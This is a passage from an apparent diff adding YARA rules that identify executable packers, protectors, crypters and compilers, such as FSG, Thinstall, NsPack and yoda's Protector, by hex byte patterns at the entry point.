+		$0 = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+		$1 = {45 6E 69 67 6D 61 20 70 72 6F 74 65 63 74 6F 72 20 76 31}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _FSG_v133_Eng__dulekxt_
+{
+	meta:
+		description = "FSG v1.33 (Eng) -> dulek/xt"
+	strings:
+		$0 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB 9D 8B D6 5E AD 48 74 0A 79 02 AD 50 56 8B F2 97 EB 87 AD 93 5E 46 AD 97 56 FF 13 95 AC 84 C0 75 FB FE 0E 74 F0 79 05 46 AD 50 EB 09 FE 0E 0F 84 ?? ?? ?? FF 56 55 FF 53 04 AB EB E0 33 C9 41 FF 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12 D2 C3 ?? ?? ?? 00 00 00 00 00 00 00 00 00 54 01 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 01 00 00 6F 01 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_5__Northfox_
+{
+	meta:
+		description = "MEW 5 - Northfox"
+	strings:
+		$0 = {BE ?? ?? ?? ?? AD 91 AD 93 53 AD 96 56 5F AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_V2717V2719__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded V2.717-V2.719 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D}
+	condition:
+		$0 at entrypoint
+}
+rule _Phonebook_packed_datafile_
+{
+	meta:
+		description = "Phonebook packed datafile"
+	strings:
+		$0 = {21 50 48 32 50 41 43 4B 24}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_2628__Jtit_
+{
+	meta:
+		description = "Thinstall 2.628 -> Jtit"
+	strings:
+		$0 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01}
+		$1 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3}
+		$2 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3}
+		$3 = {E8 00 00 00 00 58 BB 34 1D 00 00 2B C3 50 68 00 00 40 00 68 00 40 00 00 68 BC 00 00 00 E8 C3 FE FF FF E9 99 FF FF FF CC CC CC CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3
+}
+rule _MASMTASM_
+{
+	meta:
+		description = "MASM/TASM"
+	strings:
+		$0 = {6A 00 E8 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v136_
+{
+	meta:
+		description = "EXE32Pack v1.36"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED DC 8D 40}
+		$1 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED CC 8D 40}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MSVCpp_v8_procedure_1_recognized__h_
+{
+	meta:
+		description = "MSVC++ v.8 (procedure 1 recognized - h)"
+	strings:
+		$0 = {55 8B EC 83 EC 10 A1 ?? ?? ?? ?? 83 65 F8 00 83 65 FC 00 53 57 BF 4E E6 40 BB 3B C7 BB 00 00 FF FF 74 0D 85 C3 74 09 F7 D0 A3 ?? ?? ?? ?? EB 60 56 8D 45 F8 50 FF 15 ?? ?? ?? ?? 8B 75 FC 33 75 F8 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 8D 45 F0 50 FF 15 ?? ?? ?? ?? 8B 45 F4 33 45 F0 33 F0 3B F7 75 07 BE 4F E6 40 BB EB 0B 85 F3 75 07 8B C6 C1 E0 10 0B F0 89 35 ?? ?? ?? ?? F7 D6 89 35 ?? ?? ?? ?? 5E 5F 5B C9 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _by_Central_Point_Software_
+{
+	meta:
+		description = "by Central Point Software"
+	strings:
+		$0 = {50 51 52 56 57 8B EB 1E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _COMCRYPT_
+{
+	meta:
+		description = "COMCRYPT"
+	strings:
+		$0 = {B9 00 00 BE 00 01 89 F7 0E 1F 0E 07 BB 00 00 FC AD 31 D8 AB E2 FA C6 06 00 01 00 C6 06 01 01 00 C6 06 02 01 00 E9 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_100__105__Rafael_Ahucha__Sergio_Lara_
+{
+	meta:
+		description = "Xtreme-Protector 1.00 - 1.05 -> Rafael Ahucha & Sergio Lara"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_23__Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 2.3 -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 07 00 00 00 2B E8 8D B5 ?? ?? FF FF 8B 06 83 F8 00 74 11 8D B5 ?? ?? FF FF 8B 06 83 F8 01 0F 84 4B 02 00 00 C7 06 01 00 00 00 8B D5 8B 85 ?? ?? FF FF 2B D0 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 8B 36 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _Anti007_V25V26__NsPacK_Private_
+{
+	meta:
+		description = "Anti007 V2.5-V2.6 -> NsPacK Private"
+	strings:
+		$0 = {00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 00 47 65 74 53}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_134__140b1_
+{
+	meta:
+		description = "PECompact 1.34 - 1.40b1"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 00 87 DD 8B 85 A6 80 40 00 01 85 03 80 40 00 66 C7 85 00 80 40 00 90 90 01 85 9E 80 40 00 BB F8 10 00 00 03 9D AA 80 40 00 03 9D A6 80 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_CodeSafe_20_
+{
+	meta:
+		description = "PseudoSigner 0.2 [CodeSafe 2.0"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0B 83 EC 10 53 56 57 E8 C4 01 00 85}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_20b5__31x__Jeremy_Collake_
+{
+	meta:
+		description = "PEBundle 2.0b5 - 3.1x -> Jeremy Collake"
+	strings:
+		$0 = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 00 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v153_
+{
+	meta:
+		description = "EXECryptor v1.5.3"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80 A1 C1 00 00 00 FE C3 31 C0 64 FF 30 64 89 20 CC C3}
+	condition:
+		$0
+}
+rule _PEiDBundle_V101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle V1.01 -> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _StarForce_V1XV5X__StarForce_Copy_Protection_System__20090906_
+{
+	meta:
+		description = "StarForce V1.X-V5.X -> StarForce Copy Protection System * 20090906"
+	strings:
+		$0 = {68 ?? ?? ?? ?? ?? 25 ?? ?? ?? ?? 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXELOCK_666_104_
+{
+	meta:
+		description = "EXELOCK 666 1.04"
+	strings:
+		$0 = {BA 20 08 BF E3 00 EB 01 EA E8 3F FF 7C 29 79 2F 1F F7 9C 75 F6 E6 A9 40 17 F9 A5 14 FB 9B 8E 1D EB 0D 55 BC E3 0D E1 F7 8D E6 55 AC FD 19 9B 0D E5 1D BE FC 1C 19 F1 E0 21 F6 1C 79 A3 C9 A7 DC BE DF 77 BB B4 71 A1 E3 AC D9 6E 7F AD AD 6A AE}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_10_
+{
+	meta:
+		description = "EP 1.0"
+	strings:
+		$0 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+	condition:
+		$0 at entrypoint
+}
+rule _SOFTWrapper_for_Win9xNT_Evaluation_Version_
+{
+	meta:
+		description = "SOFTWrapper for Win9x/NT (Evaluation Version)"
+	strings:
+		$0 = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+		$1 = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF 5F 5E 83 C6 14 83 C7 14 EB D3 00 00 00 00 8B F5 81 C6 0D 0A 00 00 B9 0C 00 00 00 8B 85 03 0F 00 00 01 46 02 83 C6 06 E2 F8 E8 06 08 00 00 68 00 01 00 00 8D 85 DD 0D 00 00 50 6A 00 E8 95 09 00 00 8B B5 03 0F 00 00 66 81 3E 4D 5A 75 33 03 76 3C 81 3E 50 45 00 00 75 28 8B 46 28 03 85 03 0F 00 00 3B C5 74 1B 6A 30 E8 99 09 00 00 6A 30 8D 85 DD 0D 00 00 50 8D 85 2B 0F 00 00 E9 55 03 00 00 66 8B 85 9D 0A 00 00 F6 C4 80 74 31 E8 6A 07 00 00 0B C0 75 23 6A 40 E8 69 09 00 00 6A 40 8D 85 DD 0D 00 00 50 8B 9D 17 0F}
+		$2 = {E8 00 00 00 00 5D 8B C5 2D ?? ?? ?? 00 50 81 ED 05 00 00 00 8B C5 2B 85 03 0F 00 00 89 85 03 0F 00 00 8B F0 03 B5 0B 0F 00 00 8B F8 03 BD 07 0F 00 00 83 7F 0C 00 74 2B 56 57 8B 7F 10 03 F8 8B 76 10 03 F0 83 3F 00 74 0C 8B 1E 89 1F 83 C6 04 83 C7 04 EB EF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _SkD_Undetectabler_3_No_FSG_2_Method__SkD_
+{
+	meta:
+		description = "SkD Undetectabler 3 (No FSG 2 Method) -> SkD"
+	strings:
+		$0 = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00}
+		$1 = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00 8D 85 F8 FD FF FF 50 6A 00 FF 15 38 10 00 01 50 FF 15 3C 10 00 01 8D 8D F8 FD FF FF 51 E8 4F FB FF FF 83 C4 04 8B 15 ?? 16 00 01 52 A1 ?? 16 00 01 50 E8 50 FF FF FF 83 C4 08 A3 ?? 16 00 01 C7 85 F4 FD FF FF 00 00 00 00 EB 0F 8B 8D F4 FD FF FF 83 C1 01 89 8D F4 FD FF FF 8B 95 F4 FD FF FF 3B 15 ?? 16 00 01 73 1C 8B 85 F4 FD FF FF 8B 0D ?? 16 00 01 8D 54 01 07 81 FA 74 10 00 01 75 02 EB 02 EB C7 8B 85 F4 FD FF FF 50 E8 ?? 00 00 00 83 C4 04 89 85 F0 FD FF FF 8B 8D F0 FD FF FF 89 4D FC C7 45 F8 00 00 00 00 EB 09 8B 55 F8 83 C2 01 89 55 F8 8B 45 F8 3B 85 F4 FD FF FF 73 15 8B 4D FC 03 4D F8 8B 15 ?? 16 00 01 03 55 F8 8A 02 88 01 EB D7 83 3D ?? 16 00 01 00 74}
+		$2 = {55 8B EC 81 EC 10 02 00 00 68 00 02 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _yodas_Protector_V102__Ashkbiz_Danehkar__
+{
+	meta:
+		description = "yoda's Protector V1.02 -> Ashkbiz Danehkar !"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 35 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 BE 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+	condition:
+		$0 at entrypoint
+}
+rule _ProActivate_V10X__TurboPower_Software_Company_
+{
+	meta:
+		description = "ProActivate V1.0X -> TurboPower Software Company"
+	strings:
+		$0 = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33}
+		$1 = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33}
+		$2 = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_032a_fake_PEtite_21__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake PEtite 2.1) -> emadicius"
+	strings:
+		$0 = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _unknown_by_Mr_Wicked_
+{
+	meta:
+		description = "unknown by Mr. Wicked"
+	strings:
+		$0 = {BE 03 01 8B FE 8B CE 33 C0 8E D8 C7 06 0E 00 00 00 C6 06 04 00 0D 26 AC BA 00 00 52 FE 0E 04 00 74 0B E8 F7 FF D0 C8 FE C8 32 06 0E 00 C3 AA FF 0E 0E 00 75 DC 0E 1F BE 00 00 BF 00 01 2B CF 57 F3 A4 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v1x__Modified_
+{
+	meta:
+		description = "y0da's Crypter v1.x / Modified"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _Mew_10_v10_Eng__Northfox_
+{
+	meta:
+		description = "Mew 10 v1.0 (Eng) -> Northfox"
+	strings:
+		$0 = {33 C0 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _HelpCOM_12_
+{
+	meta:
+		description = "HelpCOM 1.2"
+	strings:
+		$0 = {FC BE 81 00 AC 3C 20 74 FB 3C 3F 74 1A 3C 2F 75 05 AC 3C 3F 74 11 A1 00 00 A3 00 01 A0 00 00 A2 02 01 BB 00 01 FF E3 BA 00 00 B4 09 CD 21 C3 40 65 63 68 6F 20 6F 66 66 0D 0A 69 66 20 25 31 2E 3D 3D 2E 20 67 6F 74 6F 20 65 6E 64 65 0D 0A 66}
+	condition:
+		$0 at entrypoint
+}
+rule _ASDPack_v10__asd_
+{
+	meta:
+		description = "ASDPack v1.0 -> asd"
+	strings:
+		$0 = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00}
+		$1 = {55 8B EC 56 53 E8 5C 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ?? ?? ?? 00 00 00 00 00 00 00 40 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 ?? ?? 00 00 10 00 00 00 ?? 00 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5B 81 EB E6 1D 40 00 83 7D 0C 01 75 11 55 E8 4F 01 00 00 E8 6A 01 00 00 5D E8 2C 00 00 00 8B B3 1A 1E 40 00 03 B3 FA 1D 40 00 8B 76 0C AD 0B C0 74 0D FF 75 10 FF 75 0C FF 75 08 FF D0 EB EE B8 01 00 00 00 5B 5E C9 C2 0C 00 55 6A 00 FF 93 20 21 40 00 89 83 FA 1D 40 00 6A 40 68 00 10 00 00 FF B3 02 1E 40 00 6A 00 FF 93 2C 21 40 00 89 83 06 1E 40 00 8B 83 F2 1D 40 00 03 83 FA 1D 40 00 50 FF B3 06 1E 40 00 50 E8 6D 01 00 00 5F}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _CrypKey_v5__v6_
+{
+	meta:
+		description = "CrypKey v5 - v6"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+		$1 = {E8 ?? ?? ?? ?? 58 83 E8 05 50 5F 57 8B F7 81 EF ?? ?? ?? ?? 83 C6 39 BA ?? ?? ?? ?? 8B DF B9 0B ?? ?? ?? 8B 06}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PPCPROTECT_11X__Alexey_Gorchakov_
+{
+	meta:
+		description = "PPC-PROTECT 1.1X -> Alexey Gorchakov"
+	strings:
+		$0 = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+		$1 = {FF 5F 2D E9 20 00 9F E5 00 00 90 E5 18 00 8F E5 18 00 9F E5 00 00 90 E5 10 00 8F E5 01 00 A0 E3 00 00 00 EB 02 00 00 EA 04 F0 1F E5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtector_V11AV12__vcasm_
+{
+	meta:
+		description = "VProtector V1.1A-V1.2 -> vcasm"
+	strings:
